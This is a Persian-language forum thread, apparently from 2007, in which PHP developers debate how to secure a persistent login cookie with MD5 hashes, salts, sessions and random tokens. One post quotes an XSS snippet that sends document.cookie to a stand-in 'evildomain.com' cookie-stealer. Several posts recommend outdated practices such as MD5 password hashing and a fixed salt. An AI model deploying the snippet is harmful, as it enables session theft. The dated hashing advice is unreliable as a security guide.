PDA

View Full Version : جعل کوکی و امنیت ( کوکی یادآوری ورود کاربر )



Mohajerx
پنج شنبه 19 مهر 1386, 00:31 صبح
سلام
من یک سیستم نوشتم که وقتی کاربر لاگین میکنه اطلاعات اون در کوکی ذخیره میشه دو کوکی جداگانه یکی برای ذخیره آی دی کاربری و یکی هم کلمه عبورکاربر که بصورت MD5 ذخیره شده در کوکی و کلا در دیتابیس هم بصورت MD5 ذخیره شده

حالا پیشنهادات امنیتی شما در این مورد رو میخواستم بدونم.

در مورد پسورد چه پیشنهاداتی دارید چه عملیات های دیگری بهتر هست روی پسورد انجام بشه چون برای نمونه اگر به بخش پسورد دسترسی پیدا بشه میشه خوب جایگزین هم کرد پسورد و نام کاربری رو بدون دانستن پسورد اصلی میشه کوکی رو جعل کرد.

در مورد salt چیزهایی خوندم میشه در این مورد اطلاعات بیشتری بدید که به چه صورت میشه برای امنیت بیشتر از salt استفاده کرد.

و در کل علاوه بر salt هر مورد دیگه ای که میدونید به امنیت بیشتر کمک میکنه و یا مواردی که میتونن جایگزین salt باشن.

با سپاس

oxygenws
پنج شنبه 19 مهر 1386, 06:00 صبح
از سشن استفاده کن.

Bahram0110
پنج شنبه 19 مهر 1386, 10:04 صبح
از سشن استفاده کن.


منم قبلا با کوکی کارامو انجام می دادم ولی به دلایل زیادی که یکیش امنیت پائین کوکی است کلا کوکیو بی خیال شدم
در ضمن توی بیشتر کافی نتا امکان ذخیره شدن کوکی رو توی مرورگر بستن! پس کاربر هیچ وقت از این جور جا ها نمی تونه وارد سایتت بشه

پیشنهاد می کنم زمانی از کوکی استفاده کن که
1 -اطلاعات ذخیره شده زیاد مهم نباشند مثل تنظیمات زبان و ...

2 - کاربر می خواد به طور اتوماتیک وارد سایت بشه (Remember password )

Mohajerx
پنج شنبه 19 مهر 1386, 11:17 صبح
خوب از سش درسته میشه استفاده کرد امنیت هم خیلی بالاتر هست از این نظر اما یادآوری اینجا مد نظر هست مثلا یادآوری برای ده روز. چون اصلا قرار نیست کاربر گزینه ای رو انتخاب کنه و در این سیستم در هر صورت قرار هست یادآوری بشود و موارد و سطح دسترسی بعد از لاگین بالا نیست.

درصد بسیار کمی هم از کافی نت ها استفاده میکنند شاید کلا کافی نت ها و مراکزی که به اینصورت هستند یک درصد باشه و حتی کمتر.
و میشه هم یک پیام مناسب در اینگونه موارد به کاربر داده بشه که کوکی فعال نیست و امکان لاگین در حالت وجود ندارد.

ولی خوب روی همین کوکی میشه به خوبی کار کرد ورودی ها رو دقیق چک کرد و همینطور از salt استفاده کرد تا بشه تا حد زیادی امنیت رو تامین کرد.

حالا بحث اصلی در مورد salt هست که باید به چه صورت اون رو پیاده کرد.

Mohajerx
پنج شنبه 19 مهر 1386, 13:57 عصر
برای نمونه سایت گوگی ( جیمیل) چه یادآوری فعال باشه چه نباشه لاگین رو بدون فعال بودن کوکی ها انجام نمیده و پیام زیر رو نمایش میده.

Your browser's cookie functionality is turned off. Please turn it on.

oxygenws
پنج شنبه 19 مهر 1386, 20:17 عصر
منم قبلا با کوکی کارامو انجام می دادم ولی به دلایل زیادی که یکیش امنیت پائین کوکی است کلا کوکیو بی خیال شدم
می دونی سشن از کوکی استفاده می کنه؟؟؟
پس بیخیالش نشدی :)


حالا بحث اصلی در مورد salt هست که باید به چه صورت اون رو پیاده کرد.
چی هست این salt شما؟!

Bahram0110
پنج شنبه 19 مهر 1386, 21:51 عصر
[quote=oxygenws;406857]می دونی سشن از کوکی استفاده می کنه؟؟؟
پس بیخیالش نشدی :)

بله دقیقا! سشن و کوکی ساختارشون یکیه ولی سشن در سرور ذخیره می شه و کوکی در کامپیوتر کاربر
به نظر من خیلی با هم فرق دارن!
پس بی خیالش شدم :لبخند:

oxygenws
جمعه 20 مهر 1386, 00:45 صبح
بله دقیقا! سشن و کوکی ساختارشون یکیه ولی سشن در سرور ذخیره می شه و کوکی در کامپیوتر کاربر
به نظر من خیلی با هم فرق دارن!
پس بی خیالش شدم :لبخند:
ولی اگه باز هم یکی کوکی رو بذاره روی سیستم خودش، لاگین خواهد بود!!! :) پس بیخیالش نشدی :دی :پی

Bahram0110
جمعه 20 مهر 1386, 11:04 صبح
ولی اگه باز هم یکی کوکی رو بذاره روی سیستم خودش، لاگین خواهد بود!!! :) پس بیخیالش نشدی :دی :پی

منظورتون اینه که کوکی رو از روی هاست بدزده و روی کامپیوتر خودش باهاش لاگین بشه؟

Bahram0110
جمعه 20 مهر 1386, 11:06 صبح
حالا به نظر شما
1- برای امنیت بیشتر روی هاست های Share باید چیکار کنیم؟
2- چه خطراتی هاست های share رو تهدید می کنه؟

alireza82
جمعه 20 مهر 1386, 12:23 عصر
سلام
یه چیز من تا حالا چیزی به نام جعل کوکی نشنیدم چون کوکی ها اگر قابل جعل بودن که تا الان از نظر کاربردی از بین رفته بودن!!!
ما یه چیز داریم به اسم دزدی کوکی ها که تو حملاتی ازنوع XSS کاربرد دارن!!! چه جوریش هم که با استفاده از java script نفوذگر اطلاعات کوکی رو از روی کامپیوتر طرف میخونه!! و کوکی هارو رو کامپیوترش ذخیره یکنه!
چاره جلوگیری از این نوع حملات هم استفاده از توابع مشهوره:
htmlentities و strip_tags() هست!
اگر اطلاعات بیشتر میخواید یه چرت و پرتایی هم اینجا نوشتم که میتونید ببینید (http://forum.majidonline.com/showthread.php?t=79624)

alireza82
جمعه 20 مهر 1386, 12:25 عصر
حالا به نظر شما
1- برای امنیت بیشتر روی هاست های Share باید چیکار کنیم؟
2- چه خطراتی هاست های share رو تهدید می کنه؟
به نظر من رو هاست های شیر مسئله سطح دسترسی فولدر ها و سشن ها مهم هستن که در مورد سشن ها
لینک و ببین که من اینجا باز تایپ نکنم:خجالت:
لینک (http://forum.majidonline.com/showthread.php?t=79624)
در مورد فولدر هاهم که واضحه!! توضیح نیاز نداره
موفق باشید

Mohajerx
جمعه 20 مهر 1386, 12:39 عصر
جعل کوکی در اینجا منظور این بوده است ( نه session بلکه کوکی دائمی ) :
کاربر لاگین میکند به سیستم و یک کوکی با نام کاربری ( یا آی دی) و کلمه عبور بصورت MD5 در سیستم کاربر ساخته میشود تا اینجای کاربر موردی نیست و کاربر به هر حال MD5 را هم مشاهده کند مربوط به خودش است و موردی ندارد اما این مربوط به وقتی است که احتمال داده میشود به بخش کلمات عبور که به حالت MD5 در بانک اطلاعاتی قرار دارند دسترسی پیدا میشود چون معمولا با دسترسی هم کاری به آنصورت نمیشود پیش برد اما وقتی که ما برای شناسایی توسط کوکی از این روش استفاده میکنیم امکان جایگزین کردن اطلاعات در کوکی وجود دارد تا شخص مورد نظر با هر نام کاربری که تمایل داشته باشد بدون لاگین و با استفاده از کوکی وارد سیستم شود حالا اینجا راه حلی که وجود دارد برای امنیت هرچه بیشتر این است که از salt استفاده شود تا نیاز باشد که کاربر حتما به سیستم وارد شد که در اینصورت کوکی هم جواب نمیدهد به اینصورت چون salt تغییر میکنه . ( حالا چه MD5 و چه sha1 )

اینجا پیش فرض بر این بوده که به بخش رمز عبور بر روی دیتابیس دسترسی پیدا شده است.

و در واقع قصد من از ایجاد این تاپیک این بود که در این راه هایی که باعث جلوگیری از این موارد میشود بحث شود.

alireza82
جمعه 20 مهر 1386, 12:57 عصر
به نظر من اگر یه نفوذگر بتونه به دیتابیس دسترسی پیدا کنه دیگه لازم نیست خودش رو اذیت کنه!! و چه میدونم بیاد با کوکی ها ور بره!!
کسی که چنین کاری کرده با یه update ساده میتونه تمام یا هر کلمه عبوری رو عوض کنه!!
و مثل یه کاربر معمولی لوگین کنه!
واقعا فکر نمیکنم کسی که به دیتابیس دسترسی پیدا کنه نیازی پیدا کنه که خودش خودش و دور بزنه!!
من منظور شما رو از salt نمیفهمم. یه چندجا این کلمه رو دیدم که در اصل تو یه مثال ازش استفاده شده بود و یه رشته به هر md5 نسبت میداد تا کشفش رو سخت کنه!
حالا شما منظورت از salt چیه!!!؟؟
من احساس میکنم منظور شما از salt با توجه به نوشته هاتون اینه که درهر لحظه مثلا با سشن یا کوکی به کاربر یه id خاص بدیم!! که با این id شناخته بشه!!
اما در کل اگر منظورتون جلوگیری از دزدی کوکی هاست با توجه به عنوان پستت تون:
جوابتون رو دادم
اگر منظورتون استفاده از سشن هاست برای ایجاد یک id در هر لحظه برای شناسایی کاربر:
تو اون لینک یه چیزایی نوشتم.
اگر منظورتون اینه که طرف با استفاده از اطلاعاتی که از دیتابیس کشیده بیرون نتونه با دست کاری کوکی ها لوگین کنه:
کسی که به دیتابیس دسترسی پیدا کرده همونطور که گفتم انقدر قدرت داره که کلمه عبور رو برای خودش عوض کنه!
تازه وقتی دیتابیس و داره در اصل تمام اطلاعاتی که لازم هست رو در اختیار داره حالا چرا بیاد باز تو بخش کاربری لوگین کنه!!! که چیزی رو عوض یا مشاهده کنه! واقعا لازمه؟؟؟!!! نمیتونه هر چی میخواد از همون دیتابیس ببینه و عوض کنه؟؟؟!!!
به هر حال سوات من تا اینجا قد میده!!!
موفق باشید.

tabib_m
جمعه 20 مهر 1386, 20:36 عصر
یه چیز من تا حالا چیزی به نام جعل کوکی نشنیدم چون کوکی ها اگر قابل جعل بودن که تا الان از نظر کاربردی از بین رفته بودن!
حالا شما هر چی میخوای اسمش رو بذار :)

مهم اینه که کوکی ای که داره از اون استفاده میشه، روی هر سیستمی ریخته بشه (چه دزدیده بشه و ریخته بشه، و چه خودمون بسازیمش) اونوقت در صورتی که از اون کوکی برای لاگین استفاده شده باشه، اون سیستم بدون مرحله ی پرسش نام کاربری لاگین میشه.

که البته به نظر من چندان اهمیتی نداره. فقط کافیه شما هر جوری هست، کوکی ای که داری ذخیره میکنی رو دستگاه طرف رو برای بقیه نا مفهوم کنی. به صورتی که فقط برنامه ی تو ازش سر در بیاره.
مثلا کوکی رو اینجوری ثبت کنی:


COOKIE1: UserID => the User's ID //for example 15697
COOKIE2: PASS => md5(md5(Username)."_".md5(Password))


خوب طبیعتا اگر هر کسی این کوکی رو روی دستگاه خودش بریزه، لاگین خواهد بود. اما هیچ کس نمیتونه بر اساس این کوکی، با هر یوزری دلش خواست وارد بشه. یا این که رمز کاربر مورد نظر رو بفهمه.
طبیعتا هم این کوکی هیچ وقت ثبت نمیشه، مگر به دست خود کاربر و روی دستگاه کاربر.

فوق فوقش اگر نخواستی با کپی شدن کوکی روی دستگاه دیگه ای کار کنه، میتونی از IP هم در ثبت کوکی استفاده کنی. که کوکی ای که ثبت میشه فقط روی دستگاهی کار کنه که اون کوکی رو ثبت کرده و و و ...

به هر حال، در هر صورت ثبت کردن کوکی امنیت رو پایین می آره ولی میشه میزان کاهش امنیت رو به صفر نزدیک کرد :)

oxygenws
جمعه 20 مهر 1386, 22:00 عصر
منظورتون اینه که کوکی رو از روی هاست بدزده و روی کامپیوتر خودش باهاش لاگین بشه؟نه، کوکی قطعا روی کامپیوتر کلاینت ذخیره میشه :)


1- برای امنیت بیشتر روی هاست های Share باید چیکار کنیم؟
2- چه خطراتی هاست های share رو تهدید می کنه؟ترجیح می دم تو یه تاپیک دیگه بپرسی.


جعل کوکی در اینجا منظور این بوده است ( نه session بلکه کوکی دائمی )روش برادر طبیب شدیدا تایید میشه (به جز بخشی که گفتی از IP استفاده کنه :) ). فقط بهتره برای امنیت بیشتر یه چیزی شبیه این بنویسید: (با توجه به اینکه $code یک عبارت کاملا رندوم است که خودت باید تغییر بدی)


$code = '&^*$##$*(@~!';
COOKIE1: UserID => the User's ID //for example 15697
COOKIE2: PASS => md5($username.$password.$code)
اگر روی سرورت می تونی از mcrypt استفاده کنی، تقریبا بهترین راه اینه که یک کلید داشته باشی و این عبارت رو با اون کد کنی و دوباره این ور دکود کنی، دیگه نیازی به کوئری گرفتن از پایگاه داده هم نخواهی داشت.

در نهایت دقت کنید که محتوای کوکی توسط روش های اسنیفینگ قابل خوندن است :)

armin390
جمعه 20 مهر 1386, 22:28 عصر
فقط دو نکته در این مورد
1- به هیچ وجه در این چنین موارد از اطلاعات خصوصی کاربر استفاده نشه (حداقل دلیلش می تونه این باشه که به حقوق! کاربرتون احترام می ذارید! ...)
۲- میشه کوکی رو هر از گاهی؛ تحت شرایطی به روز کرد تا امکان استفاده از کوکی های سرقت شده! به حداقل برسه...

alireza82
جمعه 20 مهر 1386, 23:09 عصر
حالا شما هر چی میخوای اسمش رو بذار :)

مهم اینه که کوکی ای که داره از اون استفاده میشه، روی هر سیستمی ریخته بشه (چه دزدیده بشه و ریخته بشه، و چه خودمون بسازیمش) اونوقت در صورتی که از اون کوکی برای لاگین استفاده شده باشه، اون سیستم بدون مرحله ی پرسش نام کاربری لاگین میشه.

که البته به نظر من چندان اهمیتی نداره. فقط کافیه شما هر جوری هست، کوکی ای که داری ذخیره میکنی رو دستگاه طرف رو برای بقیه نا مفهوم کنی. به صورتی که فقط برنامه ی تو ازش سر در بیاره.
مثلا کوکی رو اینجوری ثبت کنی:


COOKIE1: UserID => the User's ID //for example 15697
COOKIE2: PASS => md5(md5(Username)."_".md5(Password))
خوب طبیعتا اگر هر کسی این کوکی رو روی دستگاه خودش بریزه، لاگین خواهد بود. اما هیچ کس نمیتونه بر اساس این کوکی، با هر یوزری دلش خواست وارد بشه. یا این که رمز کاربر مورد نظر رو بفهمه.
طبیعتا هم این کوکی هیچ وقت ثبت نمیشه، مگر به دست خود کاربر و روی دستگاه کاربر.

فوق فوقش اگر نخواستی با کپی شدن کوکی روی دستگاه دیگه ای کار کنه، میتونی از IP هم در ثبت کوکی استفاده کنی. که کوکی ای که ثبت میشه فقط روی دستگاهی کار کنه که اون کوکی رو ثبت کرده و و و ...

به هر حال، در هر صورت ثبت کردن کوکی امنیت رو پایین می آره ولی میشه میزان کاهش امنیت رو به صفر نزدیک کرد :)

سلام
طیب جان (محسن اقا تا اونجا که میدونم:چشمک:) من با شما موافقم! بحثی هم توش نیست!!
اسمش رو من نمیزارم دزدی اسمش اون هست!! من دیدم اسکریپتی که بشه باهاش کوکی ها رو دزدید اما کوکی رو ساخت شرمنده!! اگر کسی نمونه یا برنامه ای دیده تا حالا که این کار رو انجام بده من دلم میخواد بشناسمش و ببینم !!! برام جالبه!
اگر غیر از اینه بحث میکنیم ! من خوشحال میشم از اساتیدی که اینجان چیزی یاد بگیرم!
من فکر میکنم مدیریت این دوستمون رو تاپیکش بحث رو به اینجا کشونده وکمی پرت شده! اما
دوستمون گفت اگر از رو دیتابیس پسورد ها و نام کاربری لو بره! که من جواب اون رو دادم!
من موافقم طبیعتا اگر کسی کوکی رو بدزده با استفاده از اسکریپتی مثل:


<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie;
</script

خوب لاگین هست!!
طبیعتا کلمه عبور باید md5 ذخیره شه! اما یه سوال اگر دزدیده بشه این کوکی مهم هست که نام کاربری md5 شده باشه یا نه!!! چون فکر میکنم اکثر سیستم ها بخش کاربری دارن و یا یه welcome به یوزر میگن که نام کاربری تابلو شه!!
اما از نظر محکم کاری و حرفه ای گری بله کار شما بهترین کاره!! حرفی توش نیست!
اگر یه کوکی دزدیده شه طبیعتا با اکانت همون کاربری که کوکی مطعلق به اون بوده لاگین هستیم!! و با هاش نمیشه به عنوان کاربر دیگه ای وارد شد! اینم از واضحات هست!
:چشمک:
برای دزدین کوکی ها به هر روشی نیاز به یه اسکریپت کلاینت سرورهست که خوب با استفاده از strip_tags() و htmlentities میشه این نوع حملات رو خنثی و مطمئن شد کوکی ها دزدیده نمیشن!!
(البته منظورم این نیست که طرف بره تو کافی نت بعد logout نکنه)!!!
در کل من هم حرف شما رو میزنم نه چیزه دیگه ای با یه تفاوت من میگم چیزی به اسم جعل کوکی یا ساختن مجازی کوکی وجود نداره!!! شما می گی من اسمش و هر چی میخوام بزارم!!(البته من نه هکرم و نه دوست دارم بشم! ولی یه سری اطلاعات جمع کردم برای خودم که مطمئن شم کد هایی که میزنم تا حد قابل قبولی مورد های مسخره امنیتی نداشته باشن!)
در کل من میگم یه راه هست برای دزدیدن کوکی اونم با دو تابع ای که گفتم قابل پیشگیری هست و قابل اطمینان که کوکی کاربران رو کسی نمیتونه بدزده :بامزه: که حالا بخواد لوگین کنه یا نکنه!!
من این روش رو پیشنهاد میکنم برای لوگین کاربران:
اولا اینجا md5 هایی که میزارم در اصل یه جمله هم قبلا بهشون اضافه شده مثل:
$salt="xjfkfjsdkfbdhdfhdfhdfhdflklkl";
این جمله موقعی که کاربران ثبت نام میکنن به کلمه عبور ورودی اضافه و md5 اینها به عنوان کلمه عبور ذخیره میشه! طبیعیه که موقع لاگین هم این جمله به کلمه عبوری اضافه و md5 اونها با md5 ای که تو دیتابیس ذخیره شده برابر میشه!!!



$_cookie[user]=$username;
$_cookie[password]=md5($password);



تمام متغییر های GET و post رو اول کدمون از تابع strip_tags() میگذرونیم( نه موقع لوگین بلکه اول تمام اسکریپت ها تا از دزدی کوکی ها جلوگیری شه!!!)
$_GET و $_POST هر دوشون آرایه هستن پس یه foreach کافیه!! یکی یکی لازم نیست این کار انجام شه!
موقع لوگین هم این کار رو میکنیم:




$user=mysql_escape_string($_cookie[user]
$pass=mysql_escape_string($_cookie[password]
//البته برای md5 در اصل استفاده از mysql_escape_string لازم نیست فقط برای اطمینان این کار رو کردم توی قسمت پسورد وگرنه نام کاربری رو md5 نکرده بودم.
$query="......


موفق باشید.

oxygenws
جمعه 20 مهر 1386, 23:25 عصر
علیرضا جان، بهتره زیاد جو قدرت نگیرت.


اسمش رو من نمیزارم دزدی اسمش اون هست!! من دیدم اسکریپتی که بشه باهاش کوکی ها رو دزدید اما کوکی رو ساخت شرمنده!! اگر کسی نمونه یا برنامه ای دیده تا حالا که این کار رو انجام بده من دلم میخواد بشناسمش و ببینم !!! برام جالبه!
همونطور که میشه با جاوا اسکریپت کوکی رو خوند، میشه باهاش ساخت!!


برای دزدین کوکی ها به هر روشی نیاز به یه اسکریپت کلاینت سرورهست که خوب با استفاده از strip_tags() و htmlentities میشه این نوع حملات رو خنثی و مطمئن شد کوکی ها دزدیده نمیشن!!
تا حالا کلمهء اسنیف یا اسنیفر رو شنیدی؟ :)


اولا اینجا md5 هایی که میزارم در اصل یه جمله هم قبلا بهشون اضافه شده مثل:
$salt="xjfkfjsdkfbdhdfhdfhdfhdflklkl";
این جمله موقعی که کاربران ثبت نام میکنن به کلمه عبور ورودی اضافه و md5 اینها به عنوان کلمه عبور ذخیره میشه! طبیعیه که موقع لاگین هم این جمله به کلمه عبوری اضافه و md5 اونها با md5 ای که تو دیتابیس ذخیره شده برابر میشه!!!
فکر می کنم من هم اون بالا مشابه همین رو گفتم! به نظرت لزومی به تکرار بود؟

موفق باشید.

tabib_m
جمعه 20 مهر 1386, 23:53 عصر
(به جز بخشی که گفتی از IP استفاده کنه :) )
چرا؟ چون ممکنه IP عوض بشه؟ ( مخصوصا با این خط های dialup :) )


اگر کسی نمونه یا برنامه ای دیده تا حالا که این کار رو انجام بده من دلم میخواد بشناسمش و ببینم !!! برام جالبه

من میگم چیزی به اسم جعل کوکی یا ساختن مجازی کوکی وجود نداره!!!
شما حتی میتونی با notepad هم کوکی بسازی :) (کافیه بری فولدر کوکی های کامپیوترت رو یک نگاهی بندازی)



1- به هیچ وجه در این چنین موارد از اطلاعات خصوصی کاربر استفاده نشه (حداقل دلیلش می تونه این باشه که به حقوق! کاربرتون احترام می ذارید! ...)
منظورت رو دقیقا متوجه نمیشم. آخه مادامی که ما از اطلاعات منحصر به فرد کاربر استفاده نکنیم که نمیشه از اون کوکی استفاده کرد که!



۲- میشه کوکی رو هر از گاهی؛ تحت شرایطی به روز کرد تا امکان استفاده از کوکی های سرقت شده! به حداقل برسه...
خوب اینجوری کوکی هایی که قبلا ذخیره شده ن دیگه کار نخواهند کرد!
فرضا من امروز لاگین میکنم و کوکی تو دستگاهم ثبت میشه. حالا اگر فردا موعد تغییر حالت ثبت کوکی باشه، کوکی ای که توی دستگاه من ثبت شده دیگه کار نمیکنه!! :)

armin390
شنبه 21 مهر 1386, 00:13 صبح
چرا؟ چون ممکنه IP عوض بشه؟ ( مخصوصا با این خط های dialup :) )
و یا اینکه طرف از isp دیگه ای استفاده کنه ....


شما حتی میتونی با notepad هم کوکی بسازی :) (کافیه بری فولدر کوکی های کامپیوترت رو یک نگاهی بندازی)
کوکی در http header قرار میگیره...


منظورت رو دقیقا متوجه نمیشم. آخه مادامی که ما از اطلاعات منحصر به فرد کاربر استفاده نکنیم که نمیشه از اون کوکی استفاده کرد که
لزومی نداره این اطلاعات منحصر به فرد توسط کاربر تعیین بشه!! یا پسورد یا اطلاعات شخصی کاربر باشه....


خوب اینجوری کوکی هایی که قبلا ذخیره شده ن دیگه کار نخواهند کرد!
فرضا من امروز لاگین میکنم و کوکی تو دستگاهم ثبت میشه. حالا اگر فردا موعد تغییر حالت ثبت کوکی باشه، کوکی ای که توی دستگاه من ثبت شده دیگه کار نمیکنه!!
!!!کوکی در ارتباط کاربر و برنامه باید به روز بشه (در واقع دوباره ست شه)

tabib_m
شنبه 21 مهر 1386, 00:24 صبح
لزومی نداره این اطلاعات منحصر به فرد توسط کاربر تعیین بشه!! یا پسورد یا اطلاعات شخصی کاربر باشه..
خوب طبق مثال مذکور، مطالب شخصی ای که ازشون استفاده شده (نام کاربری و رمز عبور) رفتن توی md5 و قابل فهم نیستن! چه ضرری میتونه داشته باشه؟


!!!کوکی در ارتباط کاربر و برنامه باید به روز بشه (در واقع دوباره ست شه)
شاید من درست منظورت رو متوجه نشده باشم،‌ در صورتی که منظورت رو درست متوجه شده باشم:
اگر فرضا من می خوام شیوه ی ثبت شدن کوکی رو عوض کنم. در اون لحظه که کاربر آنلاین نیست که بخوات کوکیش به روز بشه!
اگر خارج از برنامه هم هست، طبیعتا لازمه که دوباره لاگین کنه تا کوکی با شیوه ی جدید ثبت بشه!

میشه یک مثال واضح بزنی؟

oxygenws
شنبه 21 مهر 1386, 00:25 صبح
لزومی نداره این اطلاعات منحصر به فرد توسط کاربر تعیین بشه!! یا پسورد یا اطلاعات شخصی کاربر باشه....
آرمین جان، لطفا کامل جواب بده، مثلا چه چیز هایی؟!

alireza82
شنبه 21 مهر 1386, 00:49 صبح
علیرضا جان، بهتره زیاد جو قدرت نگیرت.


سلام نه امید جان مطمئن باش من جزء اون دسته آدما نیستم که بخوام بگم میدونم یا غیرو...
ولی جزء ادمایی هستم که دوست دارم بحث کنم تا یاد بگیرم:چشمک: و مطمئنن از اینکار هم لذت میبرم و هم چیز یاد میگیرم! تازه بحث کردن با ادمایی مثل شما و اقا محسن که میشناسم تون و به توانایی تون احترام میزارم باعث افتخار و خوشحالی برای من هست! این رو بهت قول میدم!!!!:چشمک:


همونطور که میشه با جاوا اسکریپت کوکی رو خوند، میشه باهاش ساخت!!

بله!!ولی ایا میشه کوکی ای ساخت که مربوط به سایت من باشه! یعنی از طرف سایت من ذخیره شه رو کامپیوتر طرف!!
خوشحال میشم بدونم!؟


تا حالا کلمهء اسنیف یا اسنیفر رو شنیدی؟ :)

نه متاسفانه اما یه سرچی میزنم ببینم چیه!!!!!
(سرچ کردم بله شنیده بودم اما در حد شنیدن هیچ وقت چیزی راجبش نخونده بودم که به لطف شما امشب دارم می خونم):)


فکر می کنم من هم اون بالا مشابه همین رو گفتم! به نظرت لزومی به تکرار بود؟

نه ولی به نظرم چون مخاطب بودم تو اون لحظه ترجیح دادم بنویسم!!!




شما حتی میتونی با notepad هم کوکی بسازی :) (کافیه بری فولدر کوکی های کامپیوترت رو یک نگاهی بندازی)


بله قبلا سر زدم این یه نمونه که الان اینجا کپی میکنم!

user
aaaa
localhost/file/
1024
978689280
29881320
3577023872
29881318
*
userpass
74b87337454200d4d33f80c4663dc5e5
localhost/file/
1024
978689280
29881320
3577173872
29881318
*

به این نتیجه میرسیم که گویا میشه من تسلیم در این مورد! :چشمک::خجالت:
اون اطلاعات اضافه هم تاریخ انقضا و دومین و path و send for (تو موزیلا)
حقیقتا تا حالا بهشون اینجوری دقت نکرده بودم.:ناراحت:
فقط یه نکته میمونه تا طرف اطلاعات نام کاربری و پسورد رو نداشته باشه باز هم این که کوکی رو جعل کنه بدردش نمیخوره مگر اینکه به اون اطلاعات یه جوری دسترسی پیدا کنه!!!
میمونه این اسنیفر که باید یه سرچکی بزنم ببینم اینا دیگه چین!!!شاید جواب همین نکته باشه:متفکر:
موفق باشید.

alireza82
شنبه 21 مهر 1386, 00:57 صبح
یه نکته!! من همون کوکی بالا رو کپی کردم و بعد تمام کوکی ها رو پاک کردم.
دو باره اون کوکی رو سر جاش کپی کردم! اما
کاربر لوگین نبود!!!
شاید دلیلش این باشه که کوکی ها باید حتما از طریق http header ای که دوستمون گفت ایجاد شن!!
با این شکل ساخته شدن کوکی توسط برنامه هایی از قبیل نوت پد حذف میشه!!
خودتون امتحان کنید!!
یه فایل index.dat وجود داره تو شاخه کوکی ها که من فکر میکنم جواب سوال هامون توی اون هست!


The Index.dat file within the Cookie folder is used to contain URL names, date and time stamps, and pointers to the actual Cookie files which are stored within this same folder


http://www.purgeie.com/indexdat.htm
http://www.purgeie.com/cachefix.htm
به نظر میرسه حداقل با نوت پد چنین کاری نمیشه کرد!!یا اینکه این فایل هم باید کمی دست کاری شه برای این کار!!!!
موفق باشید

oxygenws
شنبه 21 مهر 1386, 10:06 صبح
بله!!ولی ایا میشه کوکی ای ساخت که مربوط به سایت من باشه! یعنی از طرف سایت من ذخیره شه رو کامپیوتر طرف!!
خوشحال میشم بدونم!؟
علیرضا جان، شما در چه حالت می تونی حملات XSS انجام بدی؟؟ در حالتی که روی سایت طرف بتونی نا خواسته یه کد JS اجرا کنی. خوب وقتی روی سایت طرف هستی و از این طریق به کوکی هاش دسترسی داری، خوب می تونی کوکی هم با همون JS بسازی دیگه!

alireza82
شنبه 21 مهر 1386, 11:11 صبح
علیرضا جان، شما در چه حالت می تونی حملات XSS انجام بدی؟؟ در حالتی که روی سایت طرف بتونی نا خواسته یه کد JS اجرا کنی. خوب وقتی روی سایت طرف هستی و از این طریق به کوکی هاش دسترسی داری، خوب می تونی کوکی هم با همون JS بسازی دیگه!
سلام
امید جان نمیدونم شاید من جایی نوشته ها رو بد نوشتم!
من با حرف شما کاملا موافقم! یه کد هم گذاشتم که همین کار رو میکرد در واقع میومد کوکی ها رو میخوند و از طرف سایت هدف برای من میفرستاد!
این حرف شما کاملا درست و متین هست و هیچ مشکلی هم توش نیست!!
منم قبول دارم !
شاید من جایی رو بد نوشتم که باعث سوء تفاهم شده!! من هم همین و گفتم دیگه:متفکر: منتها وقتی شما باز این حرف و زدی و تکیه کردی برام سوء تفاهم شد گفتم یه بار بپرسم شاید یه منظور دیگه ای دارید!!
در کل من حرف های شما رو نقض نکردم!
پس چرا من و میزنی:D
موفق باشید

armin390
شنبه 21 مهر 1386, 15:48 عصر
خوب طبق مثال مذکور، مطالب شخصی ای که ازشون استفاده شده (نام کاربری و رمز عبور) رفتن توی md5 و قابل فهم نیستن! چه ضرری میتونه داشته باشه؟یک موضوع که برای یک نفر غیرقابل فهمه ۱۰۰٪ به دلیل جهالتش! در اون موضوعه...

COOKIE2: PASS => md5(md5(Username)."_".md5(Password))
در این حالت امکان دسترسی به پسورد وجود داره! اگه غیر ممکن می دونید رسیدن به عبارت مجهول اولیه رو!! بحثی است جدا که میشه روش بحث کرد ولی به هر حال ممکنه!


شاید من درست منظورت رو متوجه نشده باشم،‌ در صورتی که منظورت رو درست متوجه شده باشم:
اگر فرضا من می خوام شیوه ی ثبت شدن کوکی رو عوض کنم. در اون لحظه که کاربر آنلاین نیست که بخوات کوکیش به روز بشه!
اگر خارج از برنامه هم هست، طبیعتا لازمه که دوباره لاگین کنه تا کوکی با شیوه ی جدید ثبت بشه!

میشه یک مثال واضح بزنی؟شیوه!!!!؟ نه فقط اطلاعات بروز میشه
مثلاً در روش خودت! فرض کن به جای پسورد یک عبارت رندوم باشه که این عبارت می تونه در زمان ارتباط کاربر با برنامه تحت شرایطی به روز بشه هم در سمت سرور (اطلاعات کاربر) هم در سمت کلاینت (مقدار کوکی) به این ترتیب اگه کوکی کاربر سرقت بشه و توسط شخص دیگه ای مورد استفاده قرار بگیره و این استفاده باعث شه که برنامه بره تحت اون شرایط و اون عبارت رو بروز کنه در هر دو؛ (در این مابین هم میشه شرایطی در نظر گرفت!!) کاربر اصلی مجبور میشه که دوباره به سیستم وارد شه و کوکی های سرقت شده بی اثر شن...


آرمین جان، لطفا کامل جواب بده، مثلا چه چیز هایی؟

لزومی نداره این اطلاعات منحصر به فرد توسط کاربر تعیین بشه!! یا پسورد یا اطلاعات شخصی کاربر باشهمثلاً میتونه یک عبارت یکتای رندم باشه که توسط برنامه تعیین میشه و در موقع لزوم به روز میشه!

cybercoder
دوشنبه 23 مهر 1386, 12:42 عصر
یک موضوع که برای یک نفر غیرقابل فهمه ۱۰۰٪ به دلیل جهالتش! در اون موضوعه...

به قول یکی از فلاسفه تا قبل از 30 سالگی به سراغ فلسفه نروید


در این حالت امکان دسترسی به پسورد وجود داره! اگه غیر ممکن می دونید رسیدن به عبارت مجهول اولیه رو!! بحثی است جدا که میشه روش بحث کرد ولی به هر حال ممکنه!

آره مثلا حدود 10 به توان 29 سال ممکنه طول بکشه که Decrypt بشه
شایدم بشه با یه سوپرکامپیوتر که N تا CPU داره تو مایه های IBM CELL و N تا دستور رو هم دریک Cycle اونم به صورت موازی اجرا می کنه بشه قدری پایین آورد.
شایدم یکی رو دست RayWest پاشده
شایدم شما به همه Cypher ها و کلیدها دسترسی داری!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

ولی توضیحات آخرت خوب بود و استفاده کردیم
موفق باشی

armin390
دوشنبه 23 مهر 1386, 14:51 عصر
